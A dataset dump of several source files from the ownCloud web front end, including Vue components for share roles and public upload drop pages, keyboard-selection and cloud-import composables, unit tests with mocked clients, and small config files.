text stringlengths 1 2.83M | id stringlengths 16 152 | metadata dict | __index_level_0__ int64 0 949 |
|---|---|---|---|
<template>
<span :id="`files-role-${roleName}`" class="roles-select-role-item">
<span
class="oc-text-bold oc-display-block oc-width-1-1"
v-text="$gettext((role as ShareRole).displayName)"
/>
<span
class="oc-m-rm oc-text-small oc-display-block"
v-text="$gettext((role as ShareRole).description)"
/>
</span>
</template>
<script lang="ts">
import { ShareRole } from '@ownclouders/web-client/src/helpers'
import { computed, defineComponent, PropType } from 'vue'
export default defineComponent({
name: 'RoleItem',
props: {
role: {
type: Object as PropType<ShareRole>,
required: true
}
},
setup(props) {
// FIXME: only needed for e2e and acceptance tests, map id to human readable element id
const roleName = computed(() => {
const map = {
'b1e2218d-eef8-4d4c-b82d-0f1a1b48f3b5': 'viewer',
'a8d5fe5e-96e3-418d-825b-534dbdf22b99': 'viewer',
'2d00ce52-1fc2-4dbc-8b95-a73b73395f5a': 'editor',
'fb6c3e19-e378-47e5-b277-9732f9de6e21': 'editor',
'58c63c02-1d89-4572-916a-870abc5a1b7d': 'editor',
'312c0871-5ef7-4b3a-85b6-0e4074c64049': 'manager',
'1c996275-f1c9-4e71-abdf-a42f6495e960': 'uploader'
}
return map[(props.role as ShareRole).id]
})
return { roleName }
}
})
</script>
<style lang="scss" scoped>
.roles-select-role-item {
text-align: left;
span {
line-height: 1.3;
}
}
</style>
| owncloud/web/packages/web-app-files/src/components/SideBar/Shares/Shared/RoleItem.vue/0 | {
"file_path": "owncloud/web/packages/web-app-files/src/components/SideBar/Shares/Shared/RoleItem.vue",
"repo_id": "owncloud",
"token_count": 703
} | 793 |
import { onBeforeUnmount, onMounted, unref, Ref, watchEffect } from 'vue'
import { QueryValue, FolderViewModeConstants, useResourcesStore } from '@ownclouders/web-pkg'
import { eventBus } from '@ownclouders/web-pkg'
import { KeyboardActions } from '@ownclouders/web-pkg'
import { Resource } from '@ownclouders/web-client'
import { findIndex } from 'lodash-es'
import { storeToRefs } from 'pinia'
export const useKeyboardTableMouseActions = (
keyActions: KeyboardActions,
viewMode: Ref<string | QueryValue>
) => {
const resourcesStore = useResourcesStore()
const { latestSelectedId } = storeToRefs(resourcesStore)
let fileListClickedEvent: string
let fileListClickedMetaEvent: string
let fileListClickedShiftEvent: string
const handleCtrlClickAction = (resource: Resource) => {
resourcesStore.toggleSelection(resource.id)
}
const handleShiftClickAction = ({ resource, skipTargetSelection }) => {
const parent = document.querySelectorAll(`[data-item-id='${resource.id}']`)[0]
const resourceNodes = Object.values(parent.parentNode.children)
const latestNode = resourceNodes.find(
(r) => r.getAttribute('data-item-id') === unref(latestSelectedId)
)
const clickedNode = resourceNodes.find((r) => r.getAttribute('data-item-id') === resource.id)
let latestNodeIndex = resourceNodes.indexOf(latestNode)
latestNodeIndex = latestNodeIndex === -1 ? 0 : latestNodeIndex
const clickedNodeIndex = resourceNodes.indexOf(clickedNode)
const minIndex = Math.min(latestNodeIndex, clickedNodeIndex)
const maxIndex = Math.max(latestNodeIndex, clickedNodeIndex)
for (let i = minIndex; i <= maxIndex; i++) {
const nodeId = resourceNodes[i].getAttribute('data-item-id')
const isDisabled = resourceNodes[i].classList.contains('oc-table-disabled')
if ((skipTargetSelection && nodeId === resource.id) || isDisabled) {
continue
}
resourcesStore.addSelection(nodeId)
}
resourcesStore.setLastSelectedId(resource.id)
}
const handleTilesShiftClickAction = ({ resource, skipTargetSelection }) => {
const tilesListCard = document.querySelectorAll('#tiles-view > ul > li > div')
const startIndex = findIndex(
tilesListCard,
(r) => r.getAttribute('data-item-id') === resource.id
)
const endIndex = findIndex(
tilesListCard,
(r) => r.getAttribute('data-item-id') === unref(latestSelectedId)
)
const minIndex = Math.min(endIndex, startIndex)
const maxIndex = Math.max(endIndex, startIndex)
for (let i = minIndex; i <= maxIndex; i++) {
const nodeId = tilesListCard[i].getAttribute('data-item-id')
const isDisabled = tilesListCard[i].classList.contains('oc-tile-card-disabled')
if ((skipTargetSelection && nodeId === resource.id) || isDisabled) {
continue
}
resourcesStore.addSelection(nodeId)
}
resourcesStore.setLastSelectedId(resource.id)
}
onMounted(() => {
fileListClickedEvent = eventBus.subscribe(
'app.files.list.clicked',
keyActions.resetSelectionCursor
)
fileListClickedMetaEvent = eventBus.subscribe(
'app.files.list.clicked.meta',
handleCtrlClickAction
)
})
onBeforeUnmount(() => {
eventBus.unsubscribe('app.files.list.clicked', fileListClickedEvent)
eventBus.unsubscribe('app.files.list.clicked.meta', fileListClickedMetaEvent)
eventBus.unsubscribe('app.files.list.clicked.shift', fileListClickedShiftEvent)
})
watchEffect(() => {
eventBus.unsubscribe('app.files.list.clicked.shift', fileListClickedShiftEvent)
fileListClickedShiftEvent = eventBus.subscribe(
'app.files.list.clicked.shift',
FolderViewModeConstants.name.tiles === viewMode.value
? handleTilesShiftClickAction
: handleShiftClickAction
)
})
}
| owncloud/web/packages/web-app-files/src/composables/keyboardActions/useKeyboardTableMouseActions.ts/0 | {
"file_path": "owncloud/web/packages/web-app-files/src/composables/keyboardActions/useKeyboardTableMouseActions.ts",
"repo_id": "owncloud",
"token_count": 1362
} | 794 |
export { default as SDKSearch } from './sdk'
| owncloud/web/packages/web-app-files/src/search/index.ts/0 | {
"file_path": "owncloud/web/packages/web-app-files/src/search/index.ts",
"repo_id": "owncloud",
"token_count": 14
} | 795 |
<template>
<app-loading-spinner v-if="loading" />
<div
v-else
id="files-drop-container"
class="oc-height-1-1 oc-flex oc-flex-column oc-flex-between"
>
<div v-if="dragareaEnabled" class="dragarea" />
<h1 class="oc-invisible-sr">{{ pageTitle }}</h1>
<div class="oc-p oc-height-1-1 oc-text-center">
<div key="loaded-drop" class="oc-flex oc-flex-column">
<div class="oc-width-1-1 oc-width-xxlarge@m">
<h2 v-text="title" />
<resource-upload
id="files-drop-zone"
ref="fileUpload"
class="oc-flex oc-flex-middle oc-flex-center oc-placeholder"
:btn-label="$gettext('Drop files here to upload or click to select file')"
/>
<div id="previews" hidden />
</div>
<div v-if="errorMessage">
<h2>
<span v-text="$gettext('An error occurred while loading the public link')" />
</h2>
<p class="oc-rm-m oc-m-rm" v-text="errorMessage" />
</div>
<div v-else class="oc-flex oc-flex-center oc-width-1-1">
<p
id="files-drop-info-message"
class="oc-m-rm oc-pt-xl oc-text-small"
v-text="
$gettext(
'Note: Transfer of nested folder structures is not possible. Instead, all files from the subfolders will be uploaded individually.'
)
"
/>
</div>
</div>
<div class="oc-mt-xxl">
<p v-text="themeSlogan" />
</div>
</div>
</div>
</template>
<script lang="ts">
import { storeToRefs } from 'pinia'
import {
createLocationPublic,
createLocationSpaces,
useAuthStore,
useMessages,
useSpacesStore,
useThemeStore,
useUserStore,
useResourcesStore
} from '@ownclouders/web-pkg'
import ResourceUpload from '../components/AppBar/Upload/ResourceUpload.vue'
import {
computed,
defineComponent,
onMounted,
onBeforeUnmount,
ref,
unref,
nextTick,
watch
} from 'vue'
import { useGettext } from 'vue3-gettext'
import {
useClientService,
useRouter,
useRoute,
useGetMatchingSpace,
useRouteQuery,
queryItemAsString,
useUpload
} from '@ownclouders/web-pkg'
import { eventBus } from '@ownclouders/web-pkg'
import { useService, UppyService } from '@ownclouders/web-pkg'
import { useAuthService } from '@ownclouders/web-pkg'
import { HandleUpload } from 'web-app-files/src/HandleUpload'
import { createFileRouteOptions } from '@ownclouders/web-pkg'
import { PublicSpaceResource, SharePermissionBit } from '@ownclouders/web-client/src/helpers'
export default defineComponent({
components: {
ResourceUpload
},
setup() {
const uppyService = useService<UppyService>('$uppyService')
const userStore = useUserStore()
const messageStore = useMessages()
const themeStore = useThemeStore()
const spacesStore = useSpacesStore()
const router = useRouter()
const route = useRoute()
const language = useGettext()
const authService = useAuthService()
const clientService = useClientService()
const authStore = useAuthStore()
const { getInternalSpace } = useGetMatchingSpace()
useUpload({ uppyService })
const resourcesStore = useResourcesStore()
const { currentTheme } = storeToRefs(themeStore)
const themeSlogan = computed(() => currentTheme.value.common.slogan)
const fileIdQueryItem = useRouteQuery('fileId')
const fileId = computed(() => {
return queryItemAsString(unref(fileIdQueryItem))
})
if (!uppyService.getPlugin('HandleUpload')) {
uppyService.addPlugin(HandleUpload, {
clientService,
language,
route,
userStore,
spacesStore,
messageStore,
resourcesStore,
uppyService,
quotaCheckEnabled: false,
directoryTreeCreateEnabled: false,
conflictHandlingEnabled: false
})
}
const share = ref<PublicSpaceResource>()
const dragareaEnabled = ref(false)
const loading = ref(true)
const errorMessage = ref(null)
let dragOver
let dragOut
let drop
const hideDropzone = () => {
dragareaEnabled.value = false
}
const onDragOver = (event) => {
dragareaEnabled.value = (event.dataTransfer.types || []).some((e) => e === 'Files')
}
const resolveToInternalLocation = (path: string) => {
const internalSpace = getInternalSpace(unref(fileId).split('!')[0])
if (internalSpace) {
const routeOpts = createFileRouteOptions(internalSpace, { fileId: unref(fileId), path })
return router.push(createLocationSpaces('files-spaces-generic', routeOpts))
}
// no internal space found -> share -> resolve via private link as it holds all the necessary logic
return router.push({ name: 'resolvePrivateLink', params: { fileId: unref(fileId) } })
}
const resolvePublicLink = async () => {
loading.value = true
if (authStore.userContextReady && unref(fileId)) {
try {
const path = await clientService.webdav.getPathForFileId(unref(fileId))
await resolveToInternalLocation(path)
loading.value = false
return
} catch (e) {
// getPathForFileId failed means the user doesn't have internal access to the resource
}
}
const space = spacesStore.spaces.find(
(s) => s.driveAlias === `public/${authStore.publicLinkToken}`
)
clientService.webdav
.listFiles(space, {}, { depth: 0 })
.then(({ resource }) => {
// Redirect to files list if the link doesn't have role "uploader"
// FIXME: check for type once https://github.com/owncloud/ocis/issues/8740 is resolved
const sharePermissions = (resource as PublicSpaceResource).publicLinkPermission
if (sharePermissions !== SharePermissionBit.Create) {
router.replace(
createLocationPublic('files-public-link', {
params: { driveAliasAndItem: `public/${authStore.publicLinkToken}` }
})
)
return
}
share.value = resource as PublicSpaceResource
})
.catch((error) => {
// likely missing password, redirect to public link password prompt
if (error.statusCode === 401) {
return authService.handleAuthError(unref(router.currentRoute))
}
console.error(error)
errorMessage.value = error
})
.finally(() => {
loading.value = false
})
}
watch(loading, async (newLoadValue) => {
if (!newLoadValue) {
await nextTick()
uppyService.useDropTarget({ targetSelector: '#files-drop-container' })
} else {
uppyService.removeDropTarget()
}
})
onMounted(() => {
dragOver = eventBus.subscribe('drag-over', onDragOver)
dragOut = eventBus.subscribe('drag-out', hideDropzone)
drop = eventBus.subscribe('drop', hideDropzone)
resolvePublicLink()
})
onBeforeUnmount(() => {
eventBus.unsubscribe('drag-over', dragOver)
eventBus.unsubscribe('drag-out', dragOut)
eventBus.unsubscribe('drop', drop)
uppyService.removeDropTarget()
uppyService.removePlugin(uppyService.getPlugin('HandleUpload'))
})
return {
dragareaEnabled,
loading,
errorMessage,
share,
themeSlogan
}
},
computed: {
pageTitle() {
return this.$gettext(this.$route.meta.title as string)
},
title() {
// share might not be loaded
if (this.share) {
return this.$gettext(
'%{owner} shared this folder with you for uploading',
{ owner: this.share.publicLinkShareOwner },
true
)
}
return ''
}
}
})
</script>
<style lang="scss">
#files-drop {
&-container {
position: relative;
background: transparent;
border: 1px dashed var(--oc-color-input-border);
margin: var(--oc-space-xlarge);
}
&-info-message {
@media only screen and (min-width: 1200px) {
width: 400px;
}
}
}
.dragarea {
background-color: rgba(60, 130, 225, 0.21);
pointer-events: none;
top: 0;
left: 0;
right: 0;
bottom: 0;
position: absolute;
z-index: 9;
border-radius: 14px;
border: 2px dashed var(--oc-color-swatch-primary-muted);
}
</style>
| owncloud/web/packages/web-app-files/src/views/FilesDrop.vue/0 | {
"file_path": "owncloud/web/packages/web-app-files/src/views/FilesDrop.vue",
"repo_id": "owncloud",
"token_count": 3508
} | 796 |
import CreateSpace from '../../../../src/components/AppBar/CreateSpace.vue'
import { mockDeep } from 'vitest-mock-extended'
import { Resource } from '@ownclouders/web-client'
import { Drive } from '@ownclouders/web-client/src/generated'
import { defaultPlugins, mount, defaultComponentMocks, mockAxiosResolve } from 'web-test-helpers'
import { useMessages, useModals, useSpacesStore } from '@ownclouders/web-pkg'
import { unref } from 'vue'
const selectors = {
newSpaceBtn: '#new-space-menu-btn'
}
describe('CreateSpace component', () => {
it('should show the "New Space" button', () => {
const { wrapper } = getWrapper()
expect(wrapper.find(selectors.newSpaceBtn).exists()).toBeTruthy()
expect(wrapper.html()).toMatchSnapshot()
})
it('should show a modal when clicking the "New Space" button', async () => {
const { wrapper } = getWrapper()
const { dispatchModal } = useModals()
await wrapper.find(selectors.newSpaceBtn).trigger('click')
expect(dispatchModal).toHaveBeenCalledTimes(1)
})
describe('method "addNewSpace"', () => {
it('creates the space and updates the readme data after creation', async () => {
const { wrapper, mocks } = getWrapper()
const { modals } = useModals()
await wrapper.find(selectors.newSpaceBtn).trigger('click')
const graphMock = mocks.$clientService.graphAuthenticated
const drive = mockDeep<Drive>()
graphMock.drives.createDrive.mockResolvedValue(mockAxiosResolve(drive))
graphMock.drives.updateDrive.mockResolvedValue(mockAxiosResolve(drive))
mocks.$clientService.webdav.putFileContents.mockResolvedValue(mockDeep<Resource>())
await unref(modals)[0].onConfirm('New Space')
const spacesStore = useSpacesStore()
expect(spacesStore.upsertSpace).toHaveBeenCalled()
})
it('shows a message when an error occurred', async () => {
vi.spyOn(console, 'error').mockImplementation(() => undefined)
const { wrapper, mocks } = getWrapper()
const { modals } = useModals()
await wrapper.find(selectors.newSpaceBtn).trigger('click')
const graphMock = mocks.$clientService.graphAuthenticated
graphMock.drives.createDrive.mockRejectedValue({})
await unref(modals)[0].onConfirm('New Space')
const { showErrorMessage } = useMessages()
expect(showErrorMessage).toHaveBeenCalled()
})
})
})
function getWrapper() {
const mocks = defaultComponentMocks()
return {
mocks,
wrapper: mount(CreateSpace, {
global: {
mocks,
provide: mocks,
plugins: [...defaultPlugins({ piniaOptions: { stubActions: false } })]
}
})
}
}
| owncloud/web/packages/web-app-files/tests/unit/components/AppBar/CreateSpace.spec.ts/0 | {
"file_path": "owncloud/web/packages/web-app-files/tests/unit/components/AppBar/CreateSpace.spec.ts",
"repo_id": "owncloud",
"token_count": 975
} | 797 |
import FileDetails from '../../../../../src/components/SideBar/Details/FileDetails.vue'
import { ShareResource, ShareTypes } from '@ownclouders/web-client/src/helpers/share'
import { defaultComponentMocks, defaultPlugins, RouteLocation } from 'web-test-helpers'
import { mock, mockDeep } from 'vitest-mock-extended'
import { SpaceResource } from '@ownclouders/web-client/src/helpers'
import { createLocationSpaces, createLocationPublic } from '@ownclouders/web-pkg/'
import { mount } from '@vue/test-utils'
const getResourceMock = ({
type = 'file',
mimeType = 'image/jpeg',
tags = [],
thumbnail = null,
shareTypes = [],
path = '/somePath/someResource',
locked = false,
canEditTags = true,
sharedBy = undefined
} = {}) =>
mock<ShareResource>({
id: '1',
type,
isFolder: type === 'folder',
mimeType,
owner: {
id: 'marie',
displayName: 'Marie'
},
sharedBy,
mdate: 'Wed, 21 Oct 2015 07:28:00 GMT',
tags,
size: '740',
path,
thumbnail,
shareTypes,
locked,
canEditTags: vi.fn(() => canEditTags),
...(sharedBy && { sharedWith: [] })
})
const selectors = {
ownerDisplayName: '[data-testid="ownerDisplayName"]',
preview: '[data-testid="preview"]',
resourceIcon: '.details-icon',
lockedBy: '[data-testid="locked-by"]',
sharedBy: '[data-testid="shared-by"]',
sharedVia: '[data-testid="shared-via"]',
sharingInfo: '[data-testid="sharingInfo"]',
sizeInfo: '[data-testid="sizeInfo"]',
tags: '[data-testid="tags"]',
timestamp: '[data-testid="timestamp"]',
versionsInfo: '[data-testid="versionsInfo"]'
}
describe('Details SideBar Panel', () => {
describe('preview', () => {
describe('shows preview area', () => {
it('while trying to load a preview', () => {
const resource = getResourceMock()
const { wrapper } = createWrapper({ resource })
expect(wrapper.find(selectors.preview).exists()).toBeTruthy()
expect(wrapper.find(selectors.resourceIcon).exists()).toBeFalsy()
})
it('for allowed mime types', () => {
const resource = getResourceMock()
const { wrapper } = createWrapper({ resource })
expect(wrapper.find(selectors.preview).exists()).toBeTruthy()
expect(wrapper.find(selectors.resourceIcon).exists()).toBeFalsy()
})
})
it('shows resource icon instead if the resource is a folder', () => {
const resource = getResourceMock({ type: 'folder' })
const { wrapper } = createWrapper({ resource })
expect(wrapper.find(selectors.preview).exists()).toBeFalsy()
expect(wrapper.find(selectors.resourceIcon).exists()).toBeTruthy()
})
})
describe('status indicators', () => {
it('show if given on non-public page', () => {
const resource = getResourceMock({ shareTypes: [ShareTypes.user.value] })
const { wrapper } = createWrapper({ resource })
expect(wrapper.find(selectors.sharingInfo).exists()).toBeTruthy()
})
it('do not show on a public page', () => {
const resource = getResourceMock({ shareTypes: [ShareTypes.user.value] })
const { wrapper } = createWrapper({ resource, isPublicLinkContext: true })
expect(wrapper.find(selectors.sharingInfo).exists()).toBeFalsy()
})
})
describe('timestamp', () => {
it('shows if given', () => {
const resource = getResourceMock()
const { wrapper } = createWrapper({ resource })
expect(wrapper.find(selectors.timestamp).exists()).toBeTruthy()
})
})
describe('locked by', () => {
it('shows if the resource is locked', () => {
const resource = getResourceMock({ locked: true })
const { wrapper } = createWrapper({ resource })
expect(wrapper.find(selectors.lockedBy).exists()).toBeTruthy()
})
})
describe('shared via', () => {
it('shows if the resource has an indirect share', () => {
const resource = getResourceMock()
const ancestorMetaData = {
'/somePath': { path: '/somePath', shareTypes: [ShareTypes.user.value] }
}
const { wrapper } = createWrapper({ resource, ancestorMetaData })
expect(wrapper.find(selectors.sharedVia).exists()).toBeTruthy()
})
})
describe('shared by', () => {
it('shows if the resource is a share from another user', () => {
const resource = getResourceMock({
shareTypes: [ShareTypes.user.value],
sharedBy: [{ id: '1', displayName: 'Marie' }]
})
const { wrapper } = createWrapper({
resource,
user: { onPremisesSamAccountName: 'einstein' }
})
expect(wrapper.find(selectors.sharedBy).exists()).toBeTruthy()
})
})
describe('owner display name', () => {
it('shows if given', () => {
const resource = getResourceMock()
const { wrapper } = createWrapper({ resource })
expect(wrapper.find(selectors.ownerDisplayName).exists()).toBeTruthy()
})
})
describe('size', () => {
it('shows if given', () => {
const resource = getResourceMock()
const { wrapper } = createWrapper({ resource })
expect(wrapper.find(selectors.sizeInfo).exists()).toBeTruthy()
})
})
describe('versions', () => {
it('show if given for files on a private page', async () => {
const resource = getResourceMock()
const { wrapper } = createWrapper({ resource, versions: ['1'] })
await wrapper.vm.$nextTick()
await wrapper.vm.$nextTick()
await wrapper.vm.$nextTick()
expect(wrapper.find(selectors.versionsInfo).exists()).toBeTruthy()
})
it('do not show for folders on a private page', () => {
const resource = getResourceMock({ type: 'folder' })
const { wrapper } = createWrapper({ resource, versions: ['1'] })
expect(wrapper.find(selectors.versionsInfo).exists()).toBeFalsy()
})
it('do not show on public pages', () => {
const resource = getResourceMock()
const { wrapper } = createWrapper({ resource, versions: ['1'], isPublicLinkContext: true })
expect(wrapper.find(selectors.versionsInfo).exists()).toBeFalsy()
})
})
describe('tags', () => {
it('shows when enabled via capabilities', () => {
const resource = getResourceMock()
const { wrapper } = createWrapper({ resource })
expect(wrapper.find(selectors.tags).exists()).toBeTruthy()
})
it('does not show when disabled via capabilities', () => {
const resource = getResourceMock()
const { wrapper } = createWrapper({ resource, tagsEnabled: false })
expect(wrapper.find(selectors.tags).exists()).toBeFalsy()
})
it('does not show for root folders', () => {
const resource = getResourceMock({ path: '/' })
const { wrapper } = createWrapper({ resource })
expect(wrapper.find(selectors.tags).exists()).toBeTruthy()
})
it('shows as disabled when permission not set', () => {
const resource = getResourceMock({ canEditTags: false })
const { wrapper } = createWrapper({ resource })
expect(wrapper.find(selectors.tags).find('.vs--disabled ').exists()).toBeTruthy()
})
it('should use router-link on private page', async () => {
const resource = getResourceMock({ tags: ['moon', 'mars'] })
const { wrapper } = createWrapper({ resource })
await wrapper.vm.$nextTick()
expect(wrapper.find(selectors.tags).find('router-link-stub').exists()).toBeTruthy()
})
it('should not use router-link on public page', async () => {
const resource = getResourceMock({ tags: ['moon', 'mars'] })
const { wrapper } = createWrapper({ resource, isPublicLinkContext: true })
await wrapper.vm.$nextTick()
expect(wrapper.find(selectors.tags).find('router-link-stub').exists()).toBeFalsy()
})
})
})
function createWrapper({
resource = null,
isPublicLinkContext = false,
ancestorMetaData = {},
user = { onPremisesSamAccountName: 'marie' },
versions = [],
tagsEnabled = true
} = {}) {
const spacesLocation = createLocationSpaces('files-spaces-generic')
const publicLocation = createLocationPublic('files-public-link')
const currentRoute = isPublicLinkContext ? publicLocation : spacesLocation
const mocks = defaultComponentMocks({ currentRoute: mock<RouteLocation>(currentRoute as any) })
mocks.$clientService.webdav.listFileVersions.mockResolvedValue(versions)
const capabilities = { files: { tags: tagsEnabled } }
return {
wrapper: mount(FileDetails, {
global: {
stubs: { 'router-link': true, 'resource-icon': true },
provide: {
...mocks,
resource,
space: mockDeep<SpaceResource>()
},
plugins: [
...defaultPlugins({
piniaOptions: {
userState: { user },
authState: { publicLinkContextReady: isPublicLinkContext },
capabilityState: { capabilities },
resourcesStore: { ancestorMetaData }
}
})
],
mocks
}
})
}
}
| owncloud/web/packages/web-app-files/tests/unit/components/SideBar/Details/FileDetails.spec.ts/0 | {
"file_path": "owncloud/web/packages/web-app-files/tests/unit/components/SideBar/Details/FileDetails.spec.ts",
"repo_id": "owncloud",
"token_count": 3313
} | 798 |
import SharesPanel from 'web-app-files/src/components/SideBar/Shares/SharesPanel.vue'
import { defaultPlugins, shallowMount } from 'web-test-helpers'
const ocLoaderStubSelector = 'oc-loader-stub'
describe('SharesPanel', () => {
describe('when loading is set to true', () => {
it('should show the oc loader', () => {
const { wrapper } = getWrapper({ sharesLoading: true })
expect(wrapper.find(ocLoaderStubSelector).exists()).toBeTruthy()
expect(wrapper.find(ocLoaderStubSelector).attributes().arialabel).toBe(
'Loading list of shares'
)
})
})
describe('when sharesLoading is set to false', () => {
it('should not show the oc loader', () => {
const { wrapper } = getWrapper()
expect(wrapper.find('oc-loader-stub').exists()).toBeFalsy()
})
})
function getWrapper({ sharesLoading = false } = {}) {
return {
wrapper: shallowMount(SharesPanel, {
global: {
plugins: [
...defaultPlugins({ piniaOptions: { sharesState: { loading: sharesLoading } } })
],
provide: {
activePanel: null,
displayedItem: {},
displayedSpace: {},
spaceMembers: { value: [] }
}
}
})
}
}
})
| owncloud/web/packages/web-app-files/tests/unit/components/SideBar/Shares/SharesPanel.spec.ts/0 | {
"file_path": "owncloud/web/packages/web-app-files/tests/unit/components/SideBar/Shares/SharesPanel.spec.ts",
"repo_id": "owncloud",
"token_count": 522
} | 799 |
import Favorites from '../../../src/views/Favorites.vue'
import { useResourcesViewDefaults } from 'web-app-files/src/composables'
import { useResourcesViewDefaultsMock } from 'web-app-files/tests/mocks/useResourcesViewDefaultsMock'
import { h, ref } from 'vue'
import { mockDeep, mock } from 'vitest-mock-extended'
import { Resource } from '@ownclouders/web-client'
import { defaultPlugins, defaultStubs, mount, defaultComponentMocks } from 'web-test-helpers'
import { RouteLocation } from 'vue-router'
import { useExtensionRegistryMock } from 'web-test-helpers/src/mocks/useExtensionRegistryMock'
import { useExtensionRegistry } from '@ownclouders/web-pkg'
vi.mock('web-app-files/src/composables')
vi.mock('@ownclouders/web-pkg', async (importOriginal) => ({
...(await importOriginal<any>()),
useFileActions: vi.fn(),
useExtensionRegistry: vi.fn()
}))
describe('Favorites view', () => {
it('appBar always present', () => {
const { wrapper } = getMountedWrapper()
expect(wrapper.find('app-bar-stub').exists()).toBeTruthy()
})
it('sideBar always present', () => {
const { wrapper } = getMountedWrapper()
expect(wrapper.find('file-side-bar-stub').exists()).toBeTruthy()
})
describe('different files view states', () => {
it('shows the loading spinner during loading', () => {
const { wrapper } = getMountedWrapper({ loading: true })
expect(wrapper.find('oc-spinner-stub').exists()).toBeTruthy()
})
it('shows the no-content-message after loading', () => {
const { wrapper } = getMountedWrapper()
expect(wrapper.find('oc-spinner-stub').exists()).toBeFalsy()
expect(wrapper.find('.no-content-message').exists()).toBeTruthy()
})
it('shows the files table when files are available', () => {
const { wrapper } = getMountedWrapper({ files: [mockDeep<Resource>()] })
expect(wrapper.find('.no-content-message').exists()).toBeFalsy()
expect(wrapper.find('.resource-table').exists()).toBeTruthy()
})
})
})
function getMountedWrapper({ mocks = {}, files = [], loading = false } = {}) {
vi.mocked(useResourcesViewDefaults).mockImplementation(() => {
return useResourcesViewDefaultsMock({
paginatedResources: ref(files),
areResourcesLoading: ref(loading)
})
})
const extensions = [
{
id: 'com.github.owncloud.web.files.folder-view.resource-table',
type: 'folderView',
scopes: ['resource', 'space', 'favorite'],
folderView: {
name: 'resource-table',
label: 'Switch to default view',
icon: {
name: 'menu-line',
fillType: 'none'
},
component: h('div', { class: 'resource-table' })
}
}
]
vi.mocked(useExtensionRegistry).mockImplementation(() =>
useExtensionRegistryMock({
requestExtensions<ExtensionType>(type: string, scopes: string[]) {
return extensions as ExtensionType[]
}
})
)
const defaultMocks = {
...defaultComponentMocks({
currentRoute: mock<RouteLocation>({ name: 'files-common-favorites' })
}),
...(mocks && mocks)
}
return {
wrapper: mount(Favorites, {
global: {
plugins: [...defaultPlugins()],
mocks: defaultMocks,
provide: defaultMocks,
stubs: defaultStubs
}
})
}
}
| owncloud/web/packages/web-app-files/tests/unit/views/Favorites.spec.ts/0 | {
"file_path": "owncloud/web/packages/web-app-files/tests/unit/views/Favorites.spec.ts",
"repo_id": "owncloud",
"token_count": 1272
} | 800 |
import { storeToRefs } from 'pinia'
import {
useThemeStore,
useModals,
useUserStore,
useAuthStore,
useResourcesStore
} from '@ownclouders/web-pkg'
import { useGettext } from 'vue3-gettext'
import { useService } from '@ownclouders/web-pkg'
import { computed, nextTick, unref } from 'vue'
import type { UppyService } from '@ownclouders/web-pkg'
import '@uppy/dashboard/dist/style.min.css'
import Dashboard from '@uppy/dashboard'
import OneDrive from '@uppy/onedrive'
import { WebdavPublicLink } from '@uppy/webdav'
import GoogleDrive from '@uppy/google-drive'
import { Extension } from '@ownclouders/web-pkg'
import { ApplicationSetupOptions } from '@ownclouders/web-pkg'
export const extensions = ({ applicationConfig }: ApplicationSetupOptions) => {
const userStore = useUserStore()
const { $gettext } = useGettext()
const uppyService = useService<UppyService>('$uppyService')
const authStore = useAuthStore()
const themeStore = useThemeStore()
const { currentTheme } = storeToRefs(themeStore)
const { dispatchModal, removeModal, activeModal } = useModals()
const resourcesStore = useResourcesStore()
const { currentFolder } = storeToRefs(resourcesStore)
const { companionUrl, webdavCloudType } = applicationConfig
let { supportedClouds } = applicationConfig
supportedClouds = supportedClouds || ['OneDrive', 'GoogleDrive', 'WebdavPublicLink']
const canUpload = computed(() => {
return unref(currentFolder)?.canUpload({ user: userStore.user })
})
const removeUppyPlugins = () => {
const dashboardPlugin = uppyService.getPlugin('Dashboard')
if (dashboardPlugin) {
uppyService.removePlugin(dashboardPlugin)
}
for (const cloud of supportedClouds) {
const plugin = uppyService.getPlugin(cloud)
if (plugin) {
uppyService.removePlugin(plugin)
}
}
}
uppyService.subscribe('addedForUpload', () => {
if (unref(activeModal)) {
removeModal(unref(activeModal).id)
}
})
uppyService.subscribe('uploadCompleted', () => {
removeUppyPlugins()
})
const handler = async () => {
const renderDarkTheme = currentTheme.value.isDark
dispatchModal({
title: $gettext('Import files'),
hideConfirmButton: true,
onCancel: () => {
removeUppyPlugins()
}
})
await nextTick()
uppyService.addPlugin(Dashboard, {
uppyService,
inline: true,
target: '.oc-modal-body',
disableLocalFiles: true,
disableStatusBar: true,
showSelectedFiles: false,
...(renderDarkTheme && { theme: 'dark' }),
locale: {
strings: {
cancel: $gettext('Cancel'),
importFiles: $gettext('Import files from:'),
importFrom: $gettext('Import from %{name}')
}
}
})
if (supportedClouds.includes('OneDrive')) {
uppyService.addPlugin(OneDrive, {
target: Dashboard,
companionUrl
})
}
if (supportedClouds.includes('GoogleDrive')) {
uppyService.addPlugin(GoogleDrive, {
target: Dashboard,
companionUrl
})
}
if (supportedClouds.includes('WebdavPublicLink')) {
uppyService.addPlugin(WebdavPublicLink, {
target: Dashboard,
id: 'WebdavPublicLink',
companionUrl,
...(webdavCloudType && { cloudType: webdavCloudType })
})
}
}
return computed(
() =>
[
{
id: 'com.github.owncloud.web.import-file',
type: 'action',
scopes: ['resource', 'upload-menu'],
action: {
name: 'import-files',
icon: 'cloud',
handler,
label: () => $gettext('Import'),
isVisible: () => {
if (!companionUrl) {
return false
}
if (authStore.publicLinkContextReady) {
return false
}
return unref(canUpload) && supportedClouds.length
},
isDisabled: () => !!Object.keys(uppyService.getCurrentUploads()).length,
disabledTooltip: () => $gettext('Please wait until all imports have finished'),
componentType: 'button',
class: 'oc-files-actions-import'
}
}
] satisfies Extension[]
)
}
| owncloud/web/packages/web-app-importer/src/extensions.ts/0 | {
"file_path": "owncloud/web/packages/web-app-importer/src/extensions.ts",
"repo_id": "owncloud",
"token_count": 1762
} | 801 |
{
"name": "pdf-viewer",
"version": "0.0.0",
"private": true,
"description": "ownCloud web PDF viewer",
"license": "AGPL-3.0",
"devDependencies": {
"web-test-helpers": "workspace:*"
},
"peerDependencies": {
"@ownclouders/web-pkg": "workspace:*",
"vue3-gettext": "2.4.0"
}
}
| owncloud/web/packages/web-app-pdf-viewer/package.json/0 | {
"file_path": "owncloud/web/packages/web-app-pdf-viewer/package.json",
"repo_id": "owncloud",
"token_count": 139
} | 802 |
[main]
host = https://www.transifex.com
[o:owncloud-org:p:owncloud-web:r:search]
file_filter = locale/<lang>/LC_MESSAGES/app.po
minimum_perc = 0
source_file = template.pot
source_lang = en
type = PO
| owncloud/web/packages/web-app-search/l10n/.tx/config/0 | {
"file_path": "owncloud/web/packages/web-app-search/l10n/.tx/config",
"repo_id": "owncloud",
"token_count": 83
} | 803 |
